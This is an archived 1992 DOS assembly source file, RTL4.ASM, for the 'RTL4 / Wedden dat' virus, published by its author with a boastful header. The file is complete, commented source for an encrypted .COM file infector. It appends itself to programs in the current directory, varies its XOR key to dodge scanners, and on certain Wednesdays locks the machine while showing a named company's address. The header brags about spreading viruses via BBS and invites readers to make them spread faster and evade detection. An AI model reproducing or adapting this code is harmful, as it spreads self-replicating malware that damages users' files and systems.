home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / RTL4.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  12KB  |  266 lines

  1. ;******************************************************************************
  2. ;
  3. ; RTL4 / WEDDEN DAT... VIRUS
  4. ;
  5. ;******************************************************************************
  6. ;
  7. ; "If a weaking linkage found, eliminate...
  8. ;       Hear the cities fearfull roar!"
  9. ;
  10. ; Now in front of you lies another source of a virus. It is not a very good
  11. ; one, but, as you might say, a virus is a virus. After my wake at the PC, I
  12. ; created several viruses, like:
  13. ;
  14. ; Deicide / Glenn
  15. ; Morgoth
  16. ; Breeze
  17. ; Brother
  18. ; Commentator I
  19. ; Commentator II
  20. ; Spawnie
  21. ; Xmas
  22. ; 1St_Star / 222
  23. ; T-1000
  24. ;
  25. ; Well, I bet you think this is a whole lot, but some are minor variants, for
  26. ; which I don't have the guts to publish the source code. I have to admid,
  27. ; Deicide and Morgoth have spread very well. I uploaded them to a BBS and it
  28. ; was downloaded several times, and it is not detected by antivirus program yet.
  29. ; Deicide is now detectable, but that was my first attempt to make a virus.
  30. ;
  31. ; This virus is a Non-Resident Direct Action .COM Infector.
  32. ; It only infects files in the current directory.
  33. ; You can recognize a infected file simply, the 4th byte is a '*' (just like
  34. ; the 1St_Star virus). It is inactive from January till May and starts
  35. ; replicating from May. After July, every Wednessday after the 21st the
  36. ; program will hang the system, showing the address of RTL4 Joop v/d Ende
  37. ; Productions.
  38. ;
  39. ; Disclaimer : This program is like all other virus sources only for
  40. ; educational purposes and should not be given to irresponsible hands
  41. ; (John McAfee and people like him).
  42. ;
  43. ; For the criminal reader : Don't just change the text of this virus and
  44. ; say you made a virus. Instead use some ideas from this virus and create your
  45. ; own virus if you want to be nasty. Additions to this virus that makes it
  46. ; spreading faster and makes it harder to detect are welcome, as long as I get
  47. ; the new source code.
  48. ;
  49. ; I want to thank several virus writers for their support with letting McAfee
  50. ; and Ass. earn his money with making so many updates of SCAN...
  51. ; Here they are : Bit Addict, XSTC, Dark Helmet, Dark Avenger, Nuke!, Cracker
  52. ; Jack and many more creators.
  53. ;
  54. ; Note to XSTC : Thank you for disassembling the Deicide virus, for I have lost
  55. ; the source code. Next time write a message, because I might have the source
  56. ; code of the virus ready, but not uploaded. It saves you time, so you may
  57. ; disassemble another virus (ofcourse only for educational purposes ;-) )
  58. ;
  59. ; Now have fun with this virus, written in A86 assembler version 3.22
  60. ;
  61. ;               Glenn Benton
  62. ;
  63. ; "Is it truly a disembodied head lurking in the dark of the tombs of fate?"
  64. ;
  65.                 Org 0h                          ; The outcome will be .BIN
  66.  
  67. Start:          Jmp MainVir                     ; Jump to main virus
  68.                 Db '*'                          ; signature
  69.  
  70. MainVir:        Call On1                        ; Get virus offset
  71. On1:            Pop BP                          ; BP is the index register
  72.                 Sub BP,Offset MainVir+3         ; Calculate virus offset
  73.                 Push Ax                         ; And store AX (error reg.)
  74.  
  75.                 Lea Si,Crypt[BP]                ; Decryptor for the
  76.                 Mov Di,Si                       ; virus code. It's long
  77.                 Mov Cx,CryptLen                 ; for a decoder, but it
  78. Decrypt:        Lodsb                           ; reduces the recognizable
  79.                 Xor Al,0                        ; part enough.
  80.                 Stosb                           ;
  81.                 Loop Decrypt                    ;
  82.  
  83. DecrLen         Equ $-MainVir                   ; Decryptor length
  84.  
  85. Crypt:          Mov Ax,Cs:OrgPrg[BP]            ; Store the 4 first bytes
  86.                 Mov Bx,Cs:OrgPrg[BP]+2          ; of the host
  87.                 Mov Cs:Start+100h,Ax            ;
  88.                 Mov Cs:Start[2]+100h,Bx         ;
  89.  
  90.                 Mov Ah,2ah                      ; Get date
  91.                 Int 21h                         ; If it is a wednessday
  92.                 Cmp Dh,8                        ; after July and after
  93.                 Jb  NoMsg                       ; the 21st, it will
  94.                 Cmp Dl,22                       ; will continue, else
  95.                 Jb  NoMsg                       ; it goes to NoMsg
  96.                 Cmp Al,3                        ;
  97.                 Jne NoMsg                       ;
  98.  
  99.                 Mov Ah,9                        ; Display the message
  100.                 Lea Dx,Msg[BP]                  ;
  101.                 Int 21h                         ;
  102.  
  103. Lockout:        Cli                             ; And lock the computer
  104.                 Jmp Lockout                     ;
  105.  
  106. NoMsg:          Cmp Dh,5                        ; Is it after April?
  107.                 Jae DoVirus                     ; Yes - Replicate
  108.                 Jmp Ready                       ; No - Terminate to host
  109.  
  110. DoVirus:        Mov Ah,1ah                      ; Move DTA to a safe place
  111.                 Mov Dx,0fc00h                   ; $FE00
  112.         Int 21h
  113.  
  114.                 Mov Ah,4eh                      ;
  115. Search:         Lea Dx,FileSpec[BP]             ; Search for a .COM file in
  116.                 Xor Cx,Cx                       ; the current directory
  117.                 Int 21h                         ;
  118.  
  119.                 Jnc Found                       ; If not exist, goto Ready
  120.                 Jmp Ready                       ; else goto Found
  121.  
  122. Found:          Mov Ax,4300h                    ; Get file attributes
  123.                 Mov Dx,0fc1eh                   ; and store them on the stack
  124.                 Int 21h                         ;
  125.                 Push Cx                         ;
  126.  
  127.                 Mov Ax,4301h                    ; Wipe the attributes, so it
  128.                 Xor Cx,Cx                       ; is accessable for us
  129.                 Int 21h                         ;
  130.  
  131.                 Mov Ax,3d02h                    ; Open the file with
  132.                 Int 21h                         ; read/write priority
  133.  
  134.                 Mov Bx,5700h                    ; Get de file date/time stamp
  135.                 Xchg Ax,Bx                      ; and store them on the stack
  136.                 Int 21h                         ;
  137.                 Push Cx                         ;
  138.                 Push Dx                         ;
  139.  
  140.                 Mov Ah,3fh                      ; Read the first 4 bytes
  141.                 Lea Dx,OrgPrg[BP]               ; of the program
  142.                 Mov Cx,4                        ;
  143.                 Int 21h                         ;
  144.  
  145.                 Mov Ax,Cs:[OrgPrg][BP]          ; Is it a weird EXE?
  146.                 Cmp Ax,'MZ'                     ; Yes goto ExeFile
  147.                 Je ExeFile                      ;
  148.  
  149.                 Cmp Ax,'ZM'                     ; Is it a normal EXE?
  150.                 Je ExeFile                      ; Yes, goto ExeFile
  151.  
  152.                 Mov Ah,Cs:[OrgPrg+3][BP]        ; Is it already infected?
  153.                 Cmp Ah,'*'                      ; No, goto Infect
  154.                 Jne Infect                      ;
  155.  
  156. ExeFile:        Call Close                      ; Call File close
  157.  
  158.                 Mov Ah,4fh                      ; Jump to the search routine
  159.                 Jmp Search                      ; again for a .COM file
  160.  
  161. FSeek:          Xor Cx,Cx                       ; Subroutine for jumping to
  162.                 Xor Dx,Dx                       ; the begin/end of file
  163.                 Int 21h                         ;
  164.                 Ret                             ;
  165.  
  166. Infect:         Mov Ax,4202h                    ; Jump to EOF
  167.                 Call FSeek                      ;
  168.  
  169.                 Sub Ax,3                        ; Calculate new virus offset
  170.                 Mov Cs:CallPtr[BP]+1,Ax         ;
  171.  
  172.                 Mov Ah,2ch                      ; Get system time
  173.                 Int 21h                         ;
  174.  
  175.                 Mov Cs:Decrypt+2[BP],Dl         ; Move the decryptor part
  176.                 Lea Si,MainVir[BP]              ; with the 100ds second put
  177.                 Mov Di,0fd00h                   ; into the XOR command to
  178.                 Mov Cx,DecrLen                  ; the end of the 64K segment
  179.                 Rep Movsb                       ;
  180.  
  181.                 Lea Si,Crypt[BP]                ; Encrypt the virus with
  182.                 Mov Cx,CryptLen                 ; the 100ds seconds.
  183. Encrypt:        Lodsb                           ; Merge it behind the
  184.                 Xor Al,Dl                       ; decryptor
  185.                 Stosb                           ;
  186.                 Loop Encrypt                    ;
  187.  
  188.                 Mov Ah,40h                      ; Write the virus
  189.                 Lea Dx,0fd00h                   ; at the end of the
  190.                 Mov Cx,VirLen                   ; file
  191.                 Int 21h                         ;
  192.  
  193.                 Mov Ax,4200h                    ; Move to start of
  194.                 Call FSeek                      ; the file
  195.  
  196.                 Mov Ah,40h                      ; Write the jump to the virus
  197.                 Lea Dx,CallPtr[BP]              ; at the begin of the file
  198.                 Mov Cx,4                        ;
  199.                 Int 21h                         ;
  200.  
  201.                 Call Close                      ; Close the file
  202.  
  203. Ready:          Mov Ah,1ah                      ; Restore the DTA to the
  204.                 Mov Dx,80h                      ; original offset
  205.                 Int 21h                         ;
  206.  
  207.                 Pop Ax                          ; Get (possible) error code
  208.  
  209.                 Mov Bx,100h                     ; Strange jump (but nice) to
  210.                 Push Cs                         ; the begin of the program
  211.                 Push Bx                         ; (which has been restored)
  212.                 Retf                            ;
  213.  
  214. Close:          Pop Si                          ; A pop which is stupid
  215.  
  216.                 Pop Dx                          ; Restore files date/time
  217.                 Pop Cx                          ; stamp
  218.                 Mov Ax,5701h                    ;
  219.                 Int 21h                         ;
  220.  
  221.                 Mov Ah,3eh                      ; Close file
  222.                 Int 21h                         ;
  223.  
  224.                 Mov Ax,4301h                    ; Restore attributes
  225.                 Pop Cx                          ;
  226.                 Mov Dx,0fc1eh                   ;
  227.                 Int 21h                         ;
  228.  
  229.                 Push Si                         ; A push which is stupid
  230.  
  231.                 Ret                             ; Return to caller
  232.  
  233. CallPtr         Db 0e9h,0,0                     ; Jump
  234.  
  235. FileSpec        Db '*.COM',0                    ; Filesearch spec & signature
  236.  
  237. ; Activation message
  238.  
  239. Msg             Db 13,10,9,9,'RTL4'
  240.                 Db 13,10,'Joop van den Ende Produkties BV'
  241.                 Db 13,10,'Marco Daas (Casting Assistent)'
  242.                 Db 13,10,'Postbus 397'
  243.                 Db 13,10,'1430 AJ  AALSMEER'
  244.                 Db 13,10,'van Cleeffkade 15'
  245.                 Db 13,10,'1413 BA  AALSMEER'
  246.                 Db 13,10,'The Netherlands'
  247.                 Db 13,10,10,'Wedden dat... je een virus hebt?'
  248.                 Db 13,10,'$'
  249.  
  250. ; First 4 bytes of the host program
  251.  
  252. OrgPrg:         Int 20h
  253.                 DB 'GB'                         ; My initials (Glenn Benton)
  254.  
  255. CryptLen        Equ $-Crypt                     ; Length of encrypted part
  256.  
  257. VirLen          Equ $-MainVir                   ; Length of virus
  258. ;
  259. ; Sleep well, sleep in hell...
  260. ;
  261.  
  262. ;  ─────────────────────────────────────────────────────────────────────────
  263. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  264. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  265. ;  ─────────────────────────────────────────────────────────────────────────
  266.